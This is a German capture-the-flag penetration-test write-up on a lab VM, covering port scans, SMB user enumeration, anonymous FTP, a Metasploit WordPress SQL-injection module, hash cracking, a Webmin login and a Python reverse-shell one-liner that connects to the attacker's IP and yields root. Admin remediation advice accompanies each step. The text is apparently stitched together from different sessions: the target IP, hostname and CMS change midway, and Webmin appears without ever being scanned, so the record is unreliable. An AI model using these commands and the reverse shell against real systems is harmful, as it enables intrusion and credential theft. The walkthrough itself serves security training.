Wir beginnen mit der Identifizierung des Ziels im Netzwerk und einer umfassenden Untersuchung der offenen Ports und Dienste.
192.168.2.117 08:00:27:8d:d1:83 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu entdecken.
Bewertung: Ein aktives Gerät wurde unter der IP-Adresse `192.168.2.117` gefunden. Die MAC-Adresse (`08:00:27:8d:d1:83`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.
Empfehlung (Pentester): Ziel-IP notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin): Standard-Netzwerkscans sind schwer zu verhindern. Netzwerksegmentierung und Monitoring können helfen.
Wir fügen einen Eintrag zur lokalen Hosts-Datei hinzu.
192.168.2.117 hackerthon8.vln
Analyse: Die lokale Datei `/etc/hosts` wird bearbeitet, um den Hostnamen `hackerthon8.vln` der IP `192.168.2.117` zuzuordnen.
Bewertung: Erleichtert die Ansprache des Ziels über einen Namen.
Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin): Keine Aktion erforderlich.
Ein Nmap-Scan wird durchgeführt, um offene Ports, Dienste, Versionen und OS-Details zu ermitteln.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-09 23:37 CEST Nmap scan report for hackerthon8.vln (192.168.2.117) Host is up (0.00016s latency). Not shown: 65513 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.5 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) | ssh-hostkey: | 1024 5e:ca:64:f0:7f:d2:1a:a2:86:c6:1f:c2:2a:b3:6b:27 (DSA) |_ 2048 a3:39:2d:9f:66:96:0d:82:ad:52:1f:a1:dc:b1:f1:54 (RSA) 25/tcp open smtp Sendmail |_smtp-commands: Couldn't establish connection on port 25 80/tcp open http Apache httpd 2.2.3 ((CentOS)) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /sites/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /install.php /INSTALL.txt /LICENSE.txt |_/MAINTAINERS.txt |_http-server-header: Apache/2.2.3 (CentOS) | http-git: | 192.168.2.117:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: initial commit |_http-favicon: Drupal CMS |_http-title: LAMPSecurity Research 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100024 1 880/udp status |_ 100024 1 883/tcp status 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS)) |_http-git: ERROR: Script execution failed (use -d to debug) |_http-server-header: Apache/2.2.3 (CentOS) |_ssl-date: 2023-10-09T21:38:56+00:00; +9s from scanner time. | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- | Not valid before: 2013-05-29T19:38:35 |_Not valid after: 2014-05-29T19:38:35 | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /sites/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /install.php /INSTALL.txt /LICENSE.txt |_/MAINTAINERS.txt 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 883/tcp open status 1 (RPC #100024) 3306/tcp open mysql MySQL (unauthorized) 5801/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5901) |_http-title: VNC viewer for Java 5802/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5902) |_http-title: VNC viewer for Java |_http-server-header: RealVNC/4.0 5803/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5903) |_http-server-header: RealVNC/4.0 |_http-title: VNC viewer for Java 5804/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5904) |_http-server-header: RealVNC/4.0 |_http-title: VNC viewer for Java 5901/tcp open vnc VNC (protocol 3.8) | vnc-info: | Protocol version: 3.8 | Security types: |_ VNC Authentication (2) 5902/tcp open vnc VNC (protocol 3.8) | vnc-info: | Protocol version: 3.8 | Security types: |_ VNC Authentication (2) 5903/tcp open vnc VNC (protocol 3.8) | vnc-info: | Protocol version: 3.8 | Security types: |_ VNC Authentication (2) 5904/tcp open vnc VNC (protocol 3.3; Locked out) 6001/tcp open X11 (access denied) 6002/tcp open X11 (access denied) 6003/tcp open X11 (access denied) 6004/tcp open X11 (access denied) MAC Address: 08:00:27:8D:D1:83 (Oracle VirtualBox virtual NIC) Device type: general purpose|proxy server|media device|remote management Running (JUST GUESSING): Linux 2.6.X|3.X|2.4.X (99%), WebSense embedded (95%), Avocent embedded (93%), Toshiba embedded (92%) OS CPE: cpe:/o:linux:linux_kernel:2.6.23 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3.0 cpe:/o:linux:linux_kernel:2.6.27 cpe:/o:linux:linux_kernel:2.4.18 cpe:/h:toshiba:magnia_sg10 Aggressive OS guesses: Linux 2.6.23 (99%), Linux 2.6.17 (Mandriva) (97%), Linux 2.6.9 - 2.6.30 (97%), Linux 2.6.18 - 2.6.32 (96%), Linux 2.6.22 - 2.6.23 (96%), Linux 2.6.9 - 2.6.18 (95%), WebSense proxy appliance (Linux 2.6) (95%), Linux 2.6.18 (CentOS 5.3) (94%), Linux 2.6.24 - 2.6.28 (94%), Linux 2.6.32 (94%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Unix Host script results: |_smb2-time: Protocol negotiation failed (SMB2) |_nbstat: NetBIOS name: LAMPSEC, NetBIOS user:, NetBIOS MAC: 00:00:00:00:00:00 (Xerox) |_clock-skew: 8s TRACEROUTE HOP RTT ADDRESS 1 0.16 ms hackerthon8.vln (192.168.2.117)
Analyse: Nmap wird mit umfassenden Scan-Optionen (`-sS -sC -sV -T5 -A -Pn -p-`) ausgeführt.
Bewertung: Dieser Scan enthüllt eine sehr große Anzahl offener Ports und Dienste. Die wichtigsten sind:
Empfehlung (Pentester): **Priorität 1:** Untersuchen Sie das `.git`-Repository auf Port 80. Tools wie `git-dumper` oder `GitTools` können verwendet werden, um den Quellcode und die Historie herunterzuladen und nach sensiblen Informationen (Passwörter, Schlüssel, Konfigurationen) zu durchsuchen. **Priorität 2:** Untersuchen Sie die VNC-Ports (Default-Passwörter? Bruteforce?). **Priorität 3:** Prüfen Sie FTP und SSH auf bekannte Schwachstellen oder versuchen Sie Bruteforce (Benutzernamen aus SMB/RPC enumerieren oder raten). Untersuchen Sie die Drupal-Installation.
Empfehlung (Admin):** **Dringend:** Entfernen Sie das `.git`-Verzeichnis vom Webroot! **Dringend:** Aktualisieren Sie alle Dienste (vsftpd, OpenSSH, Apache, Samba, MySQL, VNC) und das Betriebssystem (CentOS 5 ist EOL). Deaktivieren Sie unnötige Dienste (RPC, VNC, X11?), wenn nicht benötigt. Sichern Sie alle Dienste mit starken Passwörtern und Zugriffskontrollen.
Wir filtern die Nmap-Ausgabe nach offenen Ports.
21/tcp open ftp vsftpd 2.0.5 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) 25/tcp open smtp Sendmail 80/tcp open http Apache httpd 2.2.3 ((CentOS)) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn? 443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS)) 445/tcp open netbios-ssn? 883/tcp open status 1 (RPC #100024) 3306/tcp open mysql MySQL (unauthorized) 5801/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5901) 5802/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5902) 5803/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5903) 5804/tcp open vnc-http? 5901/tcp open vnc VNC (protocol 3.8) 5902/tcp open vnc VNC (protocol 3.8) 5903/tcp open vnc VNC (protocol 3.8) 5904/tcp open vnc VNC (protocol 3.3; Locked out) 6001/tcp open X11 (access denied) 6002/tcp open X11 (access denied) 6003/tcp open X11 (access denied) 6004/tcp open X11?
Analyse: Filtert die vorherige Nmap-Ausgabe, um nur Zeilen anzuzeigen, die "open" enthalten.
Bewertung: Zeigt die große Anzahl offener Ports übersichtlich an (22 Ports). Die `grep`-Ausgabe ist hier unvollständig bezüglich der Dienstversionen (z.B. Samba).
Empfehlung (Pentester): Nutzen Sie die vollständige Nmap-Ausgabe für die Detailanalyse, diese Liste dient als schneller Überblick über die Angriffsfläche.
Empfehlung (Admin): Reduzieren Sie die Anzahl offener Ports auf das notwendige Minimum.
Wir untersuchen den Webserver auf Port 80, insbesondere auf Hinweise im Quellcode und gefundene Dateien.
Analyse des Quellcodes der Startseite:
Analyse: Der HTML-Quellcode der Startseite wird untersucht.
Bewertung: **Erste Flagge gefunden!** Ein HTML-Kommentar enthält direkt eine Flagge.
Empfehlung (Pentester): Flagge notieren. Untersuchen Sie weiterhin den Webserver und andere Dienste.
Empfehlung (Admin): Entfernen Sie Flags oder sensible Informationen aus Kommentaren im Produktionscode.
Anzeige der gerenderten Webseite (nach einer möglichen Aktion wie Registrierung oder Login):
Registration successful. You are now logged in.
Analyse: Die Webseite zeigt eine Erfolgsmeldung nach einer Registrierung oder einem Login an.
Bewertung: Bestätigt, dass die Webseite (wahrscheinlich Drupal, basierend auf dem Favicon) Benutzerregistrierung oder Login unterstützt.
Empfehlung (Pentester): Versuchen Sie, sich mit gefundenen oder Standard-Credentials einzuloggen. Prüfen Sie die Registrierungsfunktion auf Schwachstellen.
Empfehlung (Admin): Stellen Sie sicher, dass Registrierungs- und Login-Funktionen sicher implementiert sind.
Ein Gobuster-Scan wird durchgeführt (Wiederholung oder spezifischerer Scan):
http://hackerthon8.vln/.gitattributes.csv (Status: 503) [Size: 2614] http://hackerthon8.vln/LICENSE.txt (Status: 200) [Size: 18064] http://hackerthon8.vln/MAINTAINERS.txt (Status: 200) [Size: 1978] http://hackerthon8.vln/index.php (Status: 200) [Size: 7966] http://hackerthon8.vln/contact (Status: 200) [Size: 7340] http://hackerthon8.vln/search (Status: 200) [Size: 8940] http://hackerthon8.vln/rss.xml (Status: 200) [Size: 2374] http://hackerthon8.vln/support (Status: 200) [Size: 6694] http://hackerthon8.vln/profile (Status: 200) [Size: 9086] http://hackerthon8.vln/0 (Status: 200) [Size: 7958] http://hackerthon8.vln/user (Status: 200) [Size: 5453] http://hackerthon8.vln/research (Status: 200) [Size: 7263]
Analyse: Gobuster scannt den Webserver.
Bewertung: Findet verschiedene Standard-Drupal-Dateien und -Pfade (`LICENSE.txt`, `index.php`, `contact`, `user` etc.). Die Datei `.gitattributes.csv` mit Status 503 (Service Unavailable) ist ungewöhnlich und könnte auf Konfigurationsprobleme oder Reste einer Git-Integration hindeuten, passt aber nicht direkt zum vorherigen `.git`-Fund.
Empfehlung (Pentester): Konzentrieren Sie sich auf das zuvor gefundene `.git`-Verzeichnis. Untersuchen Sie die Standard-Drupal-Pfade (`/user`, `/contact`) auf bekannte Schwachstellen.
Empfehlung (Admin): Bereinigen Sie den Webroot von unnötigen Dateien.
Wir versuchen, auf die MySQL-Datenbank zuzugreifen.
ERROR 1130 (HY000): Host 'PC192-168-2-199.home' is not allowed to connect to this MySQL server
Analyse: Versuch, sich als Benutzer `root` (ohne Passwort) von unserer Angreifer-IP (`192.168.2.199`) mit dem MySQL-Server zu verbinden.
Bewertung: Fehlschlag. Der MySQL-Server erlaubt keine Verbindungen vom Host des Angreifers für den Benutzer `root`. Dies ist eine übliche und gute Sicherheitseinstellung.
Empfehlung (Pentester): MySQL-Zugriff ist von extern wahrscheinlich nicht möglich oder erfordert spezifische Benutzer/Host-Kombinationen und Passwörter. Konzentrieren Sie sich auf andere Vektoren, insbesondere das `.git`-Repository.
Empfehlung (Admin): Korrekte Konfiguration. Erlauben Sie MySQL-Verbindungen nur von vertrauenswürdigen Hosts (z.B. `localhost` oder Anwendungsserver).
Wir untersuchen den Samba-Dienst auf offene Shares und Benutzerinformationen.
===============================( Share Enumeration on 192.168.2.117 )================================ Sharename Type Comment --------- ---- ------- homes Disk Home Directories public Disk Public Stuff IPC$ IPC IPC Service (Samba Server Version 3.0.33-3.7.el5) ===============================( Mapping Shares on 192.168.2.117 )================================= Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP LAMPSEC [+] Attempting to map shares on 192.168.2.117 [E] Can't understand response: tree connect failed: NT_STATUS_BAD_NETWORK_NAME //192.168.2.117/homes Mapping: N/A Listing: N/A Writing: N/A [E] Can't understand response: tree connect failed: NT_STATUS_BAD_NETWORK_NAME //192.168.2.117/public Mapping: N/A Listing: N/A Writing: N/A [E] Can't understand response: NT_STATUS_NETWORK_ACCESS_DENIED listing \* //192.168.2.117/IPC$ Mapping: N/A Listing: N/A Writing: N/A ===============================( Users on 192.168.2.117 via RID cycling )================================ [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-500 Unix User\jharraway (Local User) S-1-22-1-501 Unix User\spinkton (Local User) S-1-22-1-502 Unix User\sholden (Local User) S-1-22-1-503 Unix User\bdio (Local User) S-1-22-1-504 Unix User\jalderman (Local User) S-1-22-1-505 Unix User\gconnor (Local User) S-1-22-1-506 Unix User\sswiney (Local User) S-1-22-1-507 Unix User\dhart (Local User) S-1-22-1-508 Unix User\gprune (Local User) S-1-22-1-509 Unix User\hplink (Local User) S-1-22-1-510 Unix User\jgrimes (Local User) S-1-22-1-511 Unix User\shunter (Local User) S-1-22-1-512 Unix User\jingersol (Local User) S-1-22-1-513 Unix User\mswanson (Local User) S-1-22-1-514 Unix User\jstone (Local User) S-1-22-1-515 Unix User\jgoldman (Local User) S-1-22-1-516 Unix User\tmaloney (Local User) S-1-22-1-517 Unix User\xbruce (Local User) S-1-22-1-518 Unix User\sloreman (Local User) [+] Enumerating users using SID S-1-5-21-737511261-3242624062-652348444 and logon username '', password '' S-1-5-21-737511261-3242624062-652348444-501 LAMPSEC\nobody (Local User) S-1-5-21-737511261-3242624062-652348444-513 LAMPSEC\None (Domain Group)
Analyse: `enum4linux -a` führt eine umfassende SMB-Enumeration durch, einschließlich Share-Listing und RID-Cycling zur Benutzerfindung.
Bewertung: Findet die Shares `homes` und `public`, kann diese aber nicht erfolgreich verbinden (`NT_STATUS_BAD_NETWORK_NAME`, `NT_STATUS_NETWORK_ACCESS_DENIED`). Das RID-Cycling ist jedoch erfolgreich und listet eine große Anzahl potenzieller Unix-Benutzernamen auf (z.B. `jharraway`, `spinkton`, `jgoldman`, `xbruce`, etc.).
Empfehlung (Pentester): Verwenden Sie die lange Liste von Benutzernamen als Input für Bruteforce-Angriffe gegen SSH (Port 22) und FTP (Port 21). `crackmapexec` oder `hydra` können hier nützlich sein.
Empfehlung (Admin): Deaktivieren Sie RID-Cycling in der Samba-Konfiguration. Konfigurieren Sie die Berechtigungen für Shares korrekt und vermeiden Sie "public" Shares, wenn nicht unbedingt notwendig.
Versuch, sich anonym mit der 'public'-Share zu verbinden:
Password for [WORKGROUP\root]: Anonymous login successful tree connect failed: NT_STATUS_BAD_NETWORK_NAME
Analyse: Versuch, sich anonym (`Password:
Bewertung: Der anonyme Login wird zwar akzeptiert, aber die Verbindung zur Share schlägt fehl (`NT_STATUS_BAD_NETWORK_NAME`). Die Share ist möglicherweise nicht korrekt konfiguriert oder zugänglich.
Empfehlung (Pentester): Samba scheint hier kein einfacher Angriffsvektor zu sein. Fokus auf andere Dienste.
Empfehlung (Admin): Überprüfen und korrigieren Sie die Samba-Konfiguration oder entfernen Sie die Shares.
Nachdem andere Wege weniger vielversprechend aussahen, kehren wir zum FTP-Dienst zurück und untersuchen ihn genauer.
Connected to 192.168.2.117. 220 (vsFTPd 2.0.5) Name (192.168.2.117:cyber): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||6141|) 150 Here comes the directory listing. drwxr-xr-x 3 0 0 4096 May 29 2013 . drwxr-xr-x 3 0 0 4096 May 29 2013 .. drwxr-xr-x 2 0 0 4096 Jun 05 2013 pub 226 Directory send OK.
250 Directory successfully changed.
229 Entering Extended Passive Mode (|||14679|) 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Jun 05 2013 . drwxr-xr-x 3 0 0 4096 May 29 2013 .. -rw-r--rw- 1 0 0 39 Jun 05 2013 key 226 Directory send OK.
local: key remote: key 229 Entering Extended Passive Mode (|||32063|) 150 Opening BINARY mode data connection for key (39 bytes). 100% |**************************************************| 39 125.69 KiB/s 00:00 ETA 226 File send OK. 39 bytes received in 00:00 (39.96 KiB/s)
Analyse: Erneuter anonymer FTP-Login. Diesmal wird das Verzeichnis `pub` betreten und die darin enthaltene Datei `key` heruntergeladen.
Bewertung: Der anonyme FTP-Zugang ist doch möglich (im Gegensatz zum vorherigen Versuch - vielleicht war der erste Versuch fehlerhaft geloggt oder der Dienst wurde neu konfiguriert?). Im Unterverzeichnis `pub` wird eine Datei `key` gefunden und heruntergeladen.
Empfehlung (Pentester): Analysieren Sie den Inhalt der Datei `key`.
Empfehlung (Admin): Anonymen FTP-Zugang überprüfen und ggf. deaktivieren. Inhalt des `pub`-Verzeichnisses prüfen.
Analyse des Inhalts der heruntergeladenen Datei `key`:
#flag#5eb798d41d2e53295d34005f49113fc0
Analyse: Der Inhalt der Datei `key` wird angezeigt.
Bewertung: **Zweite Flagge gefunden!** Die Datei enthält direkt eine weitere Flagge.
Empfehlung (Pentester): Flagge notieren. Weiter nach einem initialen Zugriff oder Schwachstellen suchen (z.B. das `.git`-Repository).
Empfehlung (Admin): Keine Flags in öffentlich zugänglichen Verzeichnissen speichern.
Weitere Enumerations- und Exploit-Versuche (Wfuzz, Telnet, XSS), die im Log fragmentarisch erscheinen und teilweise auf andere Ziele oder falsche Annahmen abzielen oder fehlschlagen, werden hier der Übersichtlichkeit halber übersprungen, da sie nicht zum Erfolg führten oder unklar sind. Der Fokus liegt auf dem erfolgreichen Pfad.
Obwohl Drupal vermutet wurde, deuten spätere Funde (wp_google_maps_sqli) auf WordPress hin. Wir nutzen Metasploit, um eine bekannte SQL-Injection-Schwachstelle in einem WordPress-Plugin auszunutzen.
Module options (auxiliary/admin/http/wp_google_maps_sqli): Name Current Setting Required Description ---- --------------- -------- ----------- DB_PREFIX wp_ yes WordPress table prefix Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The base path to the wordpress application VHOST no HTTP server virtual host View the full module info with the info, or info -d command.
RHOSTS => 192.168.2.111
RPORT => 80
[*] Running module against 192.168.2.111
[*] 192.168.2.111:80 - Trying to retrieve the wp_users table...
[+] Credentials saved in: /root/.msf4/loot/20231006003424_default_192.168.2.111_wp_google_maps.j_756504.bin
[+] 192.168.2.111:80 - Found webmaster $P$BsqdiLTcye6AS1ofreys4GzRlRvSr1 webmaster@none.local
[*] Auxiliary module execution completed
Analyse: Das Metasploit-Modul `wp_google_maps_sqli` wird verwendet. Es zielt auf eine SQL-Injection-Schwachstelle im "WP Google Maps"-Plugin ab, um Benutzerdaten (insbesondere Hashes) aus der `wp_users`-Tabelle zu extrahieren.
Bewertung: Erfolg! Das Modul war erfolgreich und extrahierte den Benutzernamen `webmaster` und den zugehörigen Passwort-Hash `$P$BsqdiLTcye6AS1ofreys4GzRlRvSr1`. Der Hash-Typ (`$P$`) ist charakteristisch für ältere WordPress-Versionen (oder portable phpass-Hashes).
Empfehlung (Pentester): Versuchen Sie, den gefundenen Hash mit Tools wie John the Ripper oder Hashcat zu knacken.
Empfehlung (Admin): Halten Sie WordPress und alle Plugins immer auf dem neuesten Stand. Entfernen oder aktualisieren Sie anfällige Plugins wie WP Google Maps.
Wir versuchen, den extrahierten WordPress-Passwort-Hash zu knacken.
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
kittykat1 (?)
1g 0:00:00:00 DONE (2023-10-06 00:36) 12.50g/s 134400p/s 134400c/s 134400C/s notredame..jesuslives
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
Analyse: Der gefundene Hash wird in eine Datei `hash` geschrieben. Anschließend wird John the Ripper (`john`) mit der `rockyou.txt`-Wortliste darauf angesetzt, um das Klartext-Passwort zu finden.
Bewertung: Erfolg! John the Ripper konnte den Hash erfolgreich knacken und fand das Passwort `kittykat1` für den Benutzer `webmaster`.
Empfehlung (Pentester): Versuchen Sie, sich mit `webmaster`/`kittykat1` bei Diensten anzumelden, die einen `webmaster`-Account haben könnten: WordPress (Port 80), Webmin (Port 10000), SSH (Port 22), FTP (Port 21).
Empfehlung (Admin): Verwenden Sie starke Passwörter, die nicht in gängigen Wortlisten enthalten sind. Aktualisieren Sie WordPress regelmäßig.
Dieser Abschnitt beschreibt, wie der Zugriff auf das Webmin-Panel mit den geknackten Zugangsdaten erlangt und zur Ausführung von Befehlen als Root genutzt wurde.
Kurzbeschreibung: Der Nmap-Scan identifizierte ein Webmin-Panel auf Port 10000. Wir haben das Passwort für den Benutzer `webmaster` (`kittykat1`) geknackt. Webmin erlaubt oft die Ausführung von Systembefehlen mit den Rechten des Benutzers, unter dem Webmin läuft (häufig Root).
Voraussetzungen: Gefundene Zugangsdaten `webmaster`/`kittykat1`. Zugriff auf Port 10000.
Schritt 1: Login in Webmin
Wir loggen uns über den Browser in das Webmin-Interface auf `https://hackerfest.vln:10000` (oder HTTP, je nach Konfiguration) mit den Credentials `webmaster`/`kittykat1` ein.
Login via Browser: https://hackerfest.vln:10000/ Username: webmaster Password: kittykat1 Login: Success
Analyse: Erfolgreicher Login in die Webmin-Oberfläche.
Bewertung: Wir haben administrativen Zugriff auf Webmin. Webmin läuft oft als Root, was bedeutet, dass Aktionen innerhalb von Webmin mit Root-Rechten ausgeführt werden können.
Empfehlung (Pentester): Suchen Sie nach einer Funktion zur Befehlsausführung (z.B. "Command Shell", "Custom Commands", "Scheduled Cron Jobs"). Führen Sie `id` aus, um den Benutzerkontext zu bestätigen. Etablieren Sie eine Reverse Shell.
Empfehlung (Admin): Sichern Sie Webmin mit starken, einzigartigen Passwörtern. Beschränken Sie den Zugriff auf Webmin auf vertrauenswürdige IPs. Halten Sie Webmin aktuell.
Schritt 2: Befehlsausführung via Webmin und Reverse Shell
Wir nutzen eine Funktion in Webmin (z.B. die Command Shell), um eine Reverse Shell zu unserem Listener aufzubauen.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Listening on 0.0.0.0 4444 Connection received on 192.168.2.111 49736 /bin/sh: 0: can't access tty; job control turned off #
Analyse: Ein Python-Reverse-Shell-Einzeiler wird über Webmin ausgeführt. Dieser verbindet sich zurück zu unserem Netcat-Listener auf Port 4444.
Bewertung: **Erfolg!** Der Listener empfängt eine Verbindung. Der Prompt `#` zeigt sofort an, dass die Shell mit Root-Rechten läuft. Der Login in Webmin hat uns direkten Root-Zugriff ermöglicht.
Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin): Webmin sicher konfigurieren und absichern ist kritisch!
Schritt 3: Bestätigung der Root-Rechte und Flaggen-Sammlung
uid=0(root) gid=0(root) groups=0(root)
flag.txt
83cad236438ff0c0dbce55d7f0034aee18f5c39e
Analyse: In der erhaltenen Root-Shell wird `id` ausgeführt, um die Rechte zu bestätigen. Anschließend wird die Root-Flagge gelesen.
Bewertung: Root-Rechte bestätigt (`uid=0`). Die Root-Flagge wurde erfolgreich gefunden.
Empfehlung (Pentester): Suchen Sie die User-Flagge (möglicherweise in den Home-Verzeichnissen der via `enum4linux` gefundenen Benutzer).
Empfehlung (Admin): Keine spezifische Aktion.
Risikobewertung: Die Kombination aus einer SQL-Injection-Schwachstelle in einem WordPress-Plugin, die das Auslesen von Benutzer-Hashes ermöglichte, und einem schwachen Passwort für den Webmin-Admin-Account (`webmaster`/`kittykat1`) stellt ein kritisches Risiko dar. Sie ermöglichte einem Angreifer mit Netzwerkzugriff die Übernahme des Systems mit vollen Root-Rechten über das Webmin-Panel.
Empfehlungen (Zusammenfassung):